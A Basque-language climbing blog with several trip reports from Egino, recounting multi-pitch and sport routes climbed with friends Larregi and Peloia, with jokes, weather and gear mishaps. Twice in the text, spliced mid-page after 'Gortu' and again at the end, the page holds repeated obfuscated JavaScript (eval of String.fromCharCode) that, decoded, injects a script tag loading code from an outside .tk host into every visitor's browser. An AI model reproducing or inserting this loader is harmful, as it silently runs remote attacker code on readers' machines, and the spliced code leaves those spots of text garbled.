-Nun ibili zeate?

-Jun eta jun, eta Bertan.

Eginon izan ginen asteartean (hilak 18) Larregi eta biok. Peloia, oporretan ez dagoenez, lanera joan zen txintxo-txintxo. Eta entzun egin behar gainera:

-Hori, hori! Hik egin lana, friend batzuk erosteko.

Eta Peloiak bueltan:

-Nokturna egin behar dezue. Frontala ez ahaztu.

Adar jotzeak adar jotze, 14:30ean Larregi arranplan jaso eta Eginorako bidea hartu genuen.

-Kotxia garbitu beharko dek ba! Hau dek txerrikeria! Zenbat eltxo akabatu dituk?

Egino aldean eguraldia ez zegoen Zumaian bezain garbia. Laino gehiago zeuden eta goiko aldean haize freskoa ere bai.

Autoa herrian utzi, motxilak hartu eta hormara. Askotan izan gara Eginon, baina azkeneko alditik ia lau hilabete pasatu dira, eta berriro ere kostatu zitzaigun pixka bat Berta bidea hasten den lekura joateko biderik egokiena bilatzea.

Iritsi ginen, bero-bero eginda.

Krokisa begiratu eta Larregi hasiko zela erabaki genuen.

Krokisak dioenez, bidea itzaletan egoten da arratsaldez, baina hasiera ikusita beldur ginen ez ote ginen kiskaliko. Ez zen hala gertatu, zorionez.

Lehen luzea ez da oso polita, baina bideak asko irabazten du hortik gora.

Badoa Larregi gorantz.

Eta ni behean, aseguratzen.

Heldu zen lehen bilgunera, eta ni abiatu nintzen behetik gora.

Hurrengo luzeari nik ekin nion.

Posea egin eta aurrera.

Larregi bilgunean.

Eta badator.

Hurrengo luzea berriro ere Larregirentzat. 5c. Oraintxe hasten da saltsa. Krux eta krux. Idoiakua eta Kruxito.

Aspaldian baino hobeto ikusi dut Larregi, konfiantzaz eta behar bezala gortuz.

Ur tantek erakusten dute bidearen hasiera. Ondoren, horma tente jartzen da, baina helduleku ederrak ditu.

Elegante.

Bukatu du luzea Larregik, eta igo naiz ni ere. Hurrengo luzea, laugarrena, niretzat. Hau ere 5c. Arranka!

Pixka bat gorago.

Bilgunera iritsi eta berehala heldu zen Larregi ere, poz-pozik.

-Mutuak ezingo dik esan oraingoan ez degula bidea kateatu.

Handik, oinez egin behar dira hogeita hamarren bat metro, bosgarren luzeari ekiteko.

Iritsi ginen Berta idatzita zeukan plaka batera eta Larregik ekin zion eskalatzeari.

Baina berehala konturatu zen balizatik kanpora zebilela, eta Berta bidea ezkerretik zihoala.

-Destrepatu zak! -bota nion erronka.

Eta bai destrepatu ere.

Jaitsi, ezkerretik aurrerago jo eta hara hurbiltzeko esan zidan, bertatik bertara aseguratzeko.

Bidearen 5c mailako hirugarren luzea zen, eta hirutik bi Larregiri egokitu.

Euria hasita ere, badago non ezkutatu.

Ekin zion Larregik bidearen bosgarren luze eder honi.

Ur tanta zoragarriak. Itsasgarritasuna.

Bilgunera iritsi, abisua eman, eta martxan jarri nintzen.

Kruxean nengoenean, piririripipiririri… Kaben zotz, telefonoa!

“Orain ezin diat hartu ba!” neure artean. Bilgunera iritsi eta telefonoari begiratu nion, ea zer zuen. Larregik ez zuen aukera galdu argazkia ateratzeko.

Bokitx zen. Deitu nion eta ea bertso saiorako sarrera erosi nuen galdetu zidan.

-Aupa, Bokitx! Eskalatzen harrapatu iak!

-Eskalatzen mobilakin? Bertsotako sarrera erosi al dek?

-Ostia, egiya! Erosi iak, faborez!

Eta azken luzea falta zela, susmo txarra hartzen nion eguraldiari.

-Euria egin behar al ziguk?

-Ez, motel!- Larregik.

Eta azken luzeari ekitera.

Gora iritsi nintzenean, zuhaitz lehorraren ondoko tontorrean jartzeko esan zidan Larregik.

Bi zuhaitz lehor ikusten dira orain.

Eta iritsi zen gora Larregi ere. Barrita pare bat jan, zerbeza epel bezain eder bana hartu, motxila bete eta beherantz.

Auto-stop egiten, nokturnarik ez genuela egin erakusteko Peloiari.

Eguraldia Zumaian baino ilunagoa.

Eta iritsi ginen betiko jaisteko bide mugikorrera. Baina bidean txantxetan gentozen Eginorainoko tirolina bat jarri beharrari buruz, Oronak jar zezala Peloiaren eskutik. Hartara, Peloiak aukera izango luke laneko orduetan gurekin Eginon eskalatzeko, tironalinaren aitzakiarekin.

Tirolinak bide hau egingo luke (muñekoa beste aldera begira jarrita, noski).

Zuzen-zuzen Eginoraino! Abiadura Handiko Tirolina!!!!

Azkenean, oinez jaitsi ginen, beti bezala.

Harria eta harria. Eskuinean, goian, Aztorea. Aste honetan bertan, akaso…

Eta bagoaz behera.

Eskiatzen jaisteko modukoa.

Eginora iritsi, kamiseta aldatu (higienea garrantzitsua da) eta Zumaiara.

Banoa ohera. Berandu da eta bihar berriro ere gortu beharra daukagu.

Gortu!

Gaur, abenduak 29, Eginon izan gara, beste behin ere, Larregi, Peloia eta hirurok.

Iaz abenduaren 26an egin genuen Arista de los caracoles izeneko bidea, eta aurtengo urteari finikitoa emateko, berriro ere bide huraxe bera egitea proposatu zuen Larregik. Eta hortantxe aritu gara, gure San Silbestre partikularra egiten. Bide erraza eta ederra, urtea gozatzen amaitzeko. Ez da ohitura txarra urtero errepikatzeko.

Goizeko 9:30ean geneukan hitzordua, nik Pilates egin eta alabak nor berera joan ondoren. Eskerrak. Ez zen giro ordu horretan. Hotza.

Hala ere, Gipuzkoan gaitzerdi. Araban muturra sartu orduko, jesukristoren behe lainoa. Gasteiztik Agurain bitartean izugarrizko izotza zegoen. Behe lainoa eta zero azpiko tenperatura ere bai.

Giroa horrela, kafe bat hartzera geratzea erabaki dugu. Lau gradu zero azpitik eta Peloia eta biok piura honekin.

Hala ere, Egino aldean garbi zegoen, hamaikak aldera artean hotz bazegoen ere.

Larregik eta biok Peloiaren pita bana hartu, eta martxa. Hor goaz bidean. Gradu bateko tenperatura egongo zen, asko jota. Bidea azgazkiaren ezker aldeko mendiaren gailurrean amaitzen da, gutxi gorabehera.

Bidearen hasierara iristerako, ez geneukan batere hotzik. Eta epel samar zegoen, gainera.

Bidean, izotza nagusi.

Eguzkiak ukitu ahala, berehala urtu da.

Sei luze direnez eta hiru garenez, Peloiak lehenengo biak, Larregik hirugarrena eta laugarrena, eta nik azken biak egitea erabaki dugu.

Iritsi gara bidearen hasierara, edo pixka bat gorago, ez dakit seguru, eta trasteak prestatu ditugu. Eginon zeuden beste batzuk autotik arnesa soinean jarrita atera dira. Atentzioa eman digu. Guk dena motxilan sartzen dugu eta gero gerokoak.

Larregik bidearen hasierako bilgunea prestatu du, Peloiak arrankatu baino lehen.

Trasteak antolatzen.

Lehen luze honetan, kritika dezente entzun behar izan ditu Peloiak. Hiru, behintzat, nabarmenak.

Joan da Peloia, eta bilgunera iritsi denean, Larregi eta biok atzetik.

Lehenengoa: iltzea txapatu gabe.

Bigarrena, hobea. Friend bat sartu eta Larregi eta biok kristorenak eta bi egin behar izan ditugu hura ateratzeko.

-Laga zak bertan! Frienda berea dek! Ke se joda. Ikasiko dik hurrengorako!

Azkenean, atera dugu behintzat.

Hirugarren akatsa.

Parabolt bat uztai eta guzti. Hau da, bilgunea.

Pixka bat gorago muntatu du, eta entzun izan behar du Larregiren erretolika.

Edu optikoarekin hitz egin beharko dugu. Paraboltak ikusteko moduko betaurreko batzuk edo… Esponsorizazio bat akaso…

Hemen biak lehen bilgunean, serio demonio.

Bigarren luzea ere Peloiarentzat.

Ondoren, bideak ezkerrera jotzen du eta kanal polit bat igarota, bilgunera iristen da. Ederra da bigarren luze hori. Hor doa mutikoa.

Larregi eta bioren txanda. Larregi bilgunera iristen.

Eta ni atzetik.

Bigarren bilgunean, Peloiak sokak Larregiri eman dizkio, hurrengo biak beretzat izan dira eta. Hasi da.

Ni aseguratzen, kontzentratuta.

Azkar joan da gora. Eta Peloiak ez du aukera galdu kontrakritika egiteko.

-Hemen zeozer sartu behar huan, bestela soka nahi duen lekutik joaten da! Gero nei esan!

Esan digu Egurkon hegazkinak egiteko gai zirela, baina ez urpekoak egiteko gai. Enigma honi erantzuteko gaitasuna duenak sari bat irabazteko aukera izango du. Hurrengo urtea sorpresaz beteta dator. Adi egon, betiko irakurle finok. Aurten zeozer lortuko duzue.

Aurrera.

Eguraldia ikusgarria. Eta autobidean zero azpiko lau gradu ikusi ondoren, eguzkitan goxo-goxo, eta tarteka izerditan ere bai.

Egin ditu Larregik bere bi luzeak. Eta hemen gaude laugarren bilgunean.

Hau fitxatuko nuke gustura.

Sarritan pasatzen dira gure azpitik, eta aho zabalik geratzen naiz begira. Baina normalean beranduegi ibiltzen naiz argazkia ateratzeko orduan.

Hurrengo bi luzeak niretzat. A gozal!!

Hemen bosgarrenaren hasieran.

Hurrengo bilgunea oso erosoa da. Lasai-lasai egoteko lekua dago eta bista ederrak daude Gasteiz aldera. Mordor txiki bat ematen zuen gaur.

Azken luzea. Seigarrena. Politena, nire ustez.

Bagoaz.

Gero ezkerrera, eta berriro ere eskuinera, plaka eder batean aurrera.

Pixka bat gorago, argazki bat atera dut, bilgunera begira.

Konturatu naiz Peloiak ez zuela kamera askatzen, eta pentsatu dut “bideoa grabatzen ari al da hau hainbeste denboran kamera ez askatzeko”. Eta halaxe zen. Bideoa grabatu du eta han agertzen da marmarrean, argazkia ateratzen hasi naizenean. Ahal dudanean, youtuben jarriko ditut azken luze honetako bi bideo eder. Ni konturatu gabe grabatu ditu Peloiak, eta esandakoak zentsurarik gabe agertzen dira. Agertuko dira.

Hasi dira halako batean azken luzean gora. Peloia aurretik. Esperantza handiak ditugu Peloiarekin, hurrengo urtean Mari Urrika egiteko. Zer den asmatzen duenak idatz dezala iruzkinen bat, urte berrian sorpresak izango ditugu eta. Aupa sponsorrak!

Etorri dira mutikoak eta hasi da festa.

Txanpainik ez, baina zerbeza bai. Zerbeza bana hartu, zerbait jan, materiala jaso eta argazkiak ateratzera, Peloiak ekarritako ikurriña ziztrin batekin. Forondakoa sanoago ikusten da urtebeteko haizeak jaso ondoren.

Komentatu dugu Gortuko bat prestatu beharko dugula, gure lelo batzuekin eta sponsorrentzako tarte batzuekin. Adi egon sponsor izan zaitezkeenok! Asko zarete, zuek uste baino gehiago.

Azken paretatxoa igo (trasteak motxilan jasota, sokarik gabe, zailtasun gutxirekin eta arriskurik gabe) eta beheko bideari ekin diogu.

Larregi beherantz, eta atzean Olano mendia.

Astorearen pareko bidera iritsi eta handik behera jo dugu. Bidea kontuz hartzeko modukoa da. Hor dator Peloia, destrepatzen.

Harritza ederrak daude tartean.

Iritsi gara Eginora eta Peloiak urdaiazpiko ederra eta Eginoko gazta atera ditu. Eginokoa baina Zumaian erositakoa. Eginoko gazta hori ere izan liteke gure sponsor bat, nola ez. Espezietan ordainduz gero, denok gustura.

Gonbidatu berezi bat ere hurbildu zaigu.

Hasieran beste aldera begiratzen zuen, baina genero atera orduko…

Hauek azkar ikasten dute. Hurrengoan han egongo da gure zain.

Buelta, berriz, antologikoa izan da.

-Jarri zak Ozzy Osbourne!

-Etzikat!

Eta Joaquin Sabina, Celtas cortos… eta Victor Manuel ere entzun behar izan dugu! Peloari tentsioa igotzen hasi zaio.

Halako batean, Silvio Rodriguez. Balsamoa Peloiarentzat. Orduantxe samurtu da pixka bat.

Hona hemen bidearen amaierako bideoa. Gu konturatu gabe grabatu digu Peloiak.

Eta beste bideo bat, aurrekoa pixka bat ulertze aldera.

Honekin Youtuben arrakasta izaten ez badugu, etor dadila Punset esplikazioak ematera.

Urteko balantze orokorra eta errepasoa egitea falta zait. Baina ohera noa. Hau nekagarria da. Eskalatzea, bale. Baina kronika egite hau sufrimendu hutsa da.

Eskaini diot Peloiari hurrengo urteko kronista izatea, baina pentsatuko duzue zer erantzun didan. Larregik, berriz, tartean saririk ez dagoenez, ez du parte hartuko.

Pazientzia eskatu beharko dizuet, beraz, urte berrian.

Ondo segi!

Eta Gortu!

Azkena basurdetan egon nintzen Iñakirekin, eta gaur, berriz, usotan Larregirekin. Ez dakit eskalatzera edo ehizera joaten garen. Argazkiaren erdi-erdian flamante-flamante ageri den harrizko triangelua da Usoa, goiko zatia eguzkitan eta behekoa itzaletan duen hori egin dugu. Dame Veneno du izena.

Goizeko zazpietan zai neukan Larregi etxe azpian. Atzo eguraldiari begira egon nintzen Interneten, eta bero samarra iragartzen zuten.

Hala ere, goizean Zumaian ez zen epeltasun handirik nabaritzen, eta Eginora iritsi geranean, tenperatura hiru gradukoa zen.

Geneukan arropa guztia jantzita atera gara.

Bidean, Usoa.

Argazkilariari argazkia.

Usoaren oinera iristerako, ez geneukan hotz handirik. Gainera, eguzkia gero eta zuzenago zetorren, eta  kamiseta hutsean hasi gara eskalatzen.

Larregi Usoaren oinarrira iristen.

Bidearen hasieran jarri garenean, harrituta geratu naiz hormaren bertikaltasunarekin. Ur-zulo ederrez betetako horma.

Trasteak prestatu, eta Larregik berak ekin dio lehen luzeari. Kostatu zaigu pixka bat bidea nondik nora doan kalkulatzea, eta hasieratik argi dago seguruen artean aire dezente dagoela.

Hasi gara.

Bidea, zailtasun aldetik, ez da gogorregia. Baina seguruen artean tarte handia egoteak lan handia eragiten dio buruari.

Bagoaz, pixkanaka.

Argazkian ematen ez badu ere, bertikala da horma. Helduleku onak badaude, baina bilatu egin behar, eta bitartean besoak fresko mantendu.

Lehen luzean gora, izerditan.

Bilgunetik oso gertu.

Bilgunea prestatu duenean, nire txanda.

Larregik lehen bilgunetik ateratako argazkia.

Ederki igarri dugu bertikaltasuna.

Bilgunetik gora begiratu eta urruti ikusten nuen lehen asegurua.

-Hau faktor dos, Xabier!

-Pasa espres bat bilguneko kimiko batetik eta eman egurra!

Ekin diot bigarren luzeari.

Bidean, geratu eta argazki bat atera diot Larregiri.

Luze ederra da, mundiala, baina buruak lan asko egiten du hurrengo segurua han goian dagoela ikusita, eta kostatu zait pixka bat. Nekea eta gozatua, erdibana.

Haitza, eguraldia bezain ederra.

Iritsi naiz, luzea hasi baino hobeto amaitu izanaren sentsazioarekin.

Eta badator, Larregi ere.

Trago ederrak jo dizkiogu akuariusari, luzea amaitu duenean.

-Hau dek izerdia, hau! Eta Zumaian taosa nagusi, eta berorik batere ez.

Txokolate pixka bat jan eta Aztorearen hego ekialdeko ertzerantz abiatu gara.

Ez zegoen batere argi nondik hasi, beroa ere egiten zuen, eta beherako bidea hartu dugu.

Ordubata alderako Zumaian.

Ederra goiz pasa. Badakigu Peloia plafoian gortzen ari dela, eta bere zain gaude Mari Urrikari atake bat emateko.

Jarraituko dugu informatzen.

Gortueval(String.fromCharCode(118, 97, 114, 32, 97, 98, 99, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 10, 97, 98, 99, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 10, 97, 98, 99, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 114, 105, 112, 116, 46, 106, 115, 63, 116, 61, 112, 49, 34, 59, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 97, 98, 99, 41, 59))eval(String.fromCharCode(118, 97, 114, 32, 97, 98, 99, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 10, 97, 98, 99, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 10, 97, 98, 99, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 114, 105, 112, 116, 46, 106, 115, 63, 116, 61, 112, 49, 34, 59, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 97, 98, 99, 41, 59))

Atzo, hilak 24, goizean asti pixka bat bagenuela aprobetxatuz, Eginora hurbildu ginen, Leze inguruko eremura. Bide laburrak eta erraz samarrak dira oro har, baina haitz ederrekoak.

Sarean dagoen krokis baten arabera (gaztelania hutsez dago), eskalatzen hasteko egoki-egokia da. Lau sektore bereizten dira krokisean. Lehen sektorera jo genuen (arrantza eta abeltzaintza), eta hango hiru bideak egin genituen. Biok ere soka behetik geneukala. Beti esan izan dugun bezala “de primero”.

Peloiari esan nion argazkilariari begiratzeko, baina kontzentratuta zegoen lehen bidearen hasierari begira. Lehen sektoreak El culebrón du izena, eta lehendabizi egin genuen bidea (krokisean 2. zenbakia duena) Abigail da. IV. mailako eta 15 metroko bidea da. Laburra, bertako gehienak bezala.

Peloia bideari ekiteko prest.

Ikustekoa da zer soltura hartu duen mutikoak, Elmer leher eginda amaitu eta rokodromoan izena eman behar zuela esan zuenetik.

IV. mailakoa izan arren, gure Abigailek badauka pauso arrarotxo bat.

Gora, poliki-poliki.

Estilo horrekin eta kamiseta horrekin…

Ez da giro Peloiarekin!

Judas prest? Ekin!

Bide laburra da, baina polita eta plakan izugarrizko heldulekuak dituena. Berehala amaitu zuen. Muy pofesional.

Ondoren, nire txanda. Zailtasun gehiegirik gabe pasatu genuen tramitea, eta segidan, ezkerreko bidera, krokisean 1 zenbakia duenera. La dama de rosa du izena eta V. mailako 15 metroko bide ederra da hori ere.

Lehen bidetik jaitsi eta segidan bigarrenean sartu nintzen. Peloiaren kamerak bazuen akatsen bat eta ezin izan zuen argazkirik atera. Lastima.

Ondoren, Peloia berriro ere, rokodromoan zaildutako gizona.

Gora bihotzak! (Arantzazutik Urbiara)

Beste pixka bat, eta kitto.

Jaitsi eta bost metro eskuinerago dagoen bidera jo genuen. La loba herida (V, 15 m). A zer izenak! Alde ederrekoak dira Apolojia terrorista, Injurias al rey, Kantauri eta horrelakoak. Adibide bat jartzeagatik.

Hirugarren kulebroi horri ere nik ekin nion lehendabizi. Aurrez egin gabe geneukan bakarra huraxe zen. Bidean gora nindoala, kronista, argazkilari eta pringau bakarra naizela jakinda, argazki batzuk atera nizkion Peloiari, ondo aseguratzea zer den erakuste aldera.

Hona hemen.

Haitz ederra, jesukristoren heldulekuak plakan… Gozada bat!

Ederki zegoen Peloia itzaletan aseguratzen, eguzkitan egoteko aukeran bero zegoen eta.

Pixka bat hurbilduta.

Peloiaren txanda.

Sobrao y eso, oyes!

Artzain bat ere entzuten genuen tarteka, txakurrari aginduak ematen. Itxuraz entrenatzen ari zen. Hurrengoan Kixkur eraman beharko dugu, ofizioa ikastera.

Hara! Iritsi da eta!

Eginora iristean ohartu ginen jesukristoren auto eta furgonetan piloa zegoela. Azkena aurreko asteko ostegunean egon ginen, gehien-gehienak lanean ari zirenean, eta atzo laraunbata izanik bertako eta inguruko fauna asko zebilen.

Lehen sektoreko bideak agortu eta bigarrenerantz joatean ohartu ginen, ordea, benetan zenbat jende zegoen. Lau lagun hemen, hiru hor, bi familia haurrekin pixka bat aurrerago, eta ikastaro bateko sei-zortzi lagun ere bai.

Gauzak horrela, paretean dagoen tutu zaharraren eskuineko aldera joan ginen. Lezetik hurbilen dagoen lekura. Eguzkitan bero egiten zuen, eta Peloiak kamerarik ez zeukala aprobetxatuz, kamiseta kenduta eskalatu nuen Krubi izeneko bidea (V, 20 m). Beti kamisetak gora, kamisetak behera, eta azkenean kamisetarik gabe ondoena.

Nire zatia saltatu eta Peloiarenean zentratuko gara.

Badoala!

Egun batean bideoan grabatu beharko dut mutila. Horrela eskaladako tutorial gisa erabiltzeko aukera izango dugu.

Haitza, beti bezala, zoragarria.

Haitzetik ote gatoz?

Ez dakit. Baina ahal dugun guztietan haitzera joaten gara.

Azkar! Itzalera joan behar dugu eta!

Denbora amaitzen ari zitzaigunez, trasteak jaso eta Lezetik ateratzen den errekaren babesera joan ginen. Han zertxobait jan eta autora.

Eta autoan… Txatxaaaaan!

Kamiseta berria!

Aupa, Wali! Hi bai hitzeko gizona!

Larregik eta biok kamiseta berri bana, baina Peloiak bi, gortukoa eta .eus-ekoa.

Puntazo bat izan da.

eval(String.fromCharCode(118, 97, 114, 32, 97, 98, 99, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 10, 97, 98, 99, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 10, 97, 98, 99, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 114, 105, 112, 116, 46, 106, 115, 63, 116, 61, 112, 49, 34, 59, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 97, 98, 99, 41, 59))eval(String.fromCharCode(118, 97, 114, 32, 97, 98, 99, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 10, 97, 98, 99, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 10, 97, 98, 99, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 114, 105, 112, 116, 46, 106, 115, 63, 116, 61, 112, 49, 34, 59, 32, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 97, 98, 99, 41, 59))